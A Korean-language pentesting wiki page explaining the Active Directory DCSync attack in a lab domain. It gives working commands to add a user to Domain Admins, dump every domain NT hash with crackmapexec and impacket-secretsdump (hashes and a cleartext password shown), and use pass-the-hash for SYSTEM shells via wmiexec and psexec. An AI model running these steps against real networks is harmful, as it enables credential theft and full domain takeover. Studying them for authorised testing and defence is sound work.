펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 민감정보 탈취
  2. Active Directory

DCSync

PreviousShadow CredentialsNextLSASS

Last updated 1 month ago

Was this helpful?

DCSync는 공격모듈의 이름이며 악용하는 서비스의 정식 명칭은 MS-DRSR입니다. 공격자는 DCSync 권한이 있는 그룹, 사용자, 도메인을 장악했을 시 이 권한을 이용하여 도메인 내에 존재하는 모든 유저의 NT Hash 값을 덤핑할 수 있습니다.

오늘날 온프레미스 환경의 기업에서는 대부분 Active Directory를 사용합니다. 그리고 AD 환경 내에서 모든 객체를 관리하고 DNS 서버 역할을 하는 것이 Domain Controller인데, 회사의 규모가 커질 수록 Domain Controller의 수는 한개로는 부족할 것입니다. 그래서 실제 기업들은 Domain Controller를 한개가 아닌 여러개를 운영하는 경우가 많고, 이렇게 서로 다른 컨트롤러 간의 정보 동기화를 위해서 Microsoft에서는 MS-DRSR이라는 기능을 지원합니다.

Directory Replication Service Remote protocol은 원격에서 디렉토리 복제를 할 수 있는 서비스로 컨트롤러는 항상 같은 서버 아래에서 동일한 정보를 보유하고 있어야 하는데, 각각의 컨트롤러가 다른 정보를 가지고 있다면 오류가 발생하므로 서로가 가진 정보를 요청했을 때, 컨트롤러는 이 요청을 할 수 있는 자가 컨트롤러의 권한이 있다고 판단하여 컨트롤러의 모든 정보를 전송해줍니다. 이때 통신하는 방법은 SMB를 이용합니다. 공격자는 수신받은 정보로부터 NTLM 정보를 가져와서 NT Hash 정보로 다른 사용자의 권한으로 권한 상승 혹은 서비스 이용이 가능합니다. DCSync를 이용한 공격을 하려면 몇가지 조건이 필요합니다.

  1. Active Directory 도메인에 대해 DCSync 권한을 가진 객체 장악

  2. DC의 SMB 프로토콜에 접근 가능

도메인에 대해 GenericWrite 권한을 가진 객체를 장악했을 때 해당 객체를 도메인 관리자 그룹에 추가함으로써 ntds 파일을 통해 DCSync와 동일한 도메인 사용자 NT Hash 덤핑이 가능합니다.

# 도메인 관리자 그룹에 객체 정보 추가
net rpc group addmem "Domain Admins" <USER> -U <domain/USER%PASS> -S <dc-ip>

# 변경된 도메인 관리자 그룹 멤버 확인
net rpc group members "Domain Admins" -U <domain/USER%PASS> -S <dc-ip>
# 도메인 관리자 그룹에 객체 정보 추가
bloodyAD --host <dc-ip> -d <domain> -u <USER> -p <PASS> add groupMember "Domain Admins" <USER>

Practice

현재 장악한 유저는 wiki 사용자로 HTB.LOCAL 도메인에 대해서 DCSync 권한이 존재합니다. NT Hash 정보를 덤핑하기 위해서는 2가지 툴을 사용할 수 있습니다.

┌──(root㉿kali)-[~]
└─# crackmapexec smb 10.0.2.10 -u wiki -p password123@ --ntds
SMB         10.0.2.10       445    DC01             [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
SMB         10.0.2.10       445    DC01             [+] offsec.local\wiki:password123@ (Pwn3d!)
SMB         10.0.2.10       445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.0.2.10       445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
SMB         10.0.2.10       445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.0.2.10       445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0126e8d0c94b36875977a82182b5c447:::
SMB         10.0.2.10       445    DC01             DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.0.2.10       445    DC01             offsec.local\wiki:1110:aad3b435b51404eeaad3b435b51404ee:46825664eaa86ae2c4f6e6c083e932ff:::
SMB         10.0.2.10       445    DC01             offsec.local\pentesting:1111:aad3b435b51404eeaad3b435b51404ee:1f61eda7f8ad3a28e52caa19e2e947e1:::
SMB         10.0.2.10       445    DC01             DC01$:1000:aad3b435b51404eeaad3b435b51404ee:9b2936b325024e0a0abc88c59a93ab6f:::
SMB         10.0.2.10       445    DC01             CWIN01$:1103:aad3b435b51404eeaad3b435b51404ee:4dfd4a630bface8d894f7e0cae6577e5:::
SMB         10.0.2.10       445    DC01             CA01$:1104:aad3b435b51404eeaad3b435b51404ee:bf9ca417b5a7fb48b56a5850c0088ba4:::
SMB         10.0.2.10       445    DC01             [+] Dumped 9 NTDS hashes to /root/.cme/logs/DC01_10.0.2.10_2024-11-07_105050.ntds of which 6 were added to the database
┌──(root㉿kali)-[~]                                                                                                  
└─# impacket-secretsdump 'offsec.local/wiki:password123@@10.0.2.10'                                                   
Impacket v0.12.0.dev1 - Copyright 2023 Fortra                                                                        
                                                                                                                     
[*] Target system bootKey: 0xf865b42139fd2b1b45de4e9f08d15bcb
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
...
offsec\Administrator:Password123!
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0126e8d0c94b36875977a82182b5c447:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
offsec.local\wiki:1110:aad3b435b51404eeaad3b435b51404ee:46825664eaa86ae2c4f6e6c083e932ff:::
offsec.local\pentesting:1111:aad3b435b51404eeaad3b435b51404ee:1f61eda7f8ad3a28e52caa19e2e947e1:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:9b2936b325024e0a0abc88c59a93ab6f:::
CWIN01$:1103:aad3b435b51404eeaad3b435b51404ee:4dfd4a630bface8d894f7e0cae6577e5:::
CA01$:1104:aad3b435b51404eeaad3b435b51404ee:bf9ca417b5a7fb48b56a5850c0088ba4:::

이렇게 획득한 사용자 정보로 원격 쉘을 획득하는 방법은 2가지가 있습니다.

┌──(root㉿kali)-[~]
└─# impacket-wmiexec 'offsec.local/Administrator@10.0.2.10' -hashes ':2b576acbe6bcfda7294d6bd18041b8fe'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
offsec\administrator
┌──(root㉿kali)-[~]
└─# impacket-psexec 'offsec.local/Administrator@10.0.2.10' -hashes ':2b576acbe6bcfda7294d6bd18041b8fe'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Requesting shares on 10.0.2.10.....
[*] Found writable share ADMIN$
[*] Uploading file XzIMWVaa.exe
[*] Opening SVCManager on 10.0.2.10.....
[*] Creating service gMbT on 10.0.2.10.....
[*] Starting service gMbT.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

References

Active Directory Security: DCSync attackMedium
DCSync | 레드팀 플레이북
Logo
Logo
MS-DRSR을 악용한 DCSync 공격
정상적인 MS-DRSR 매커니즘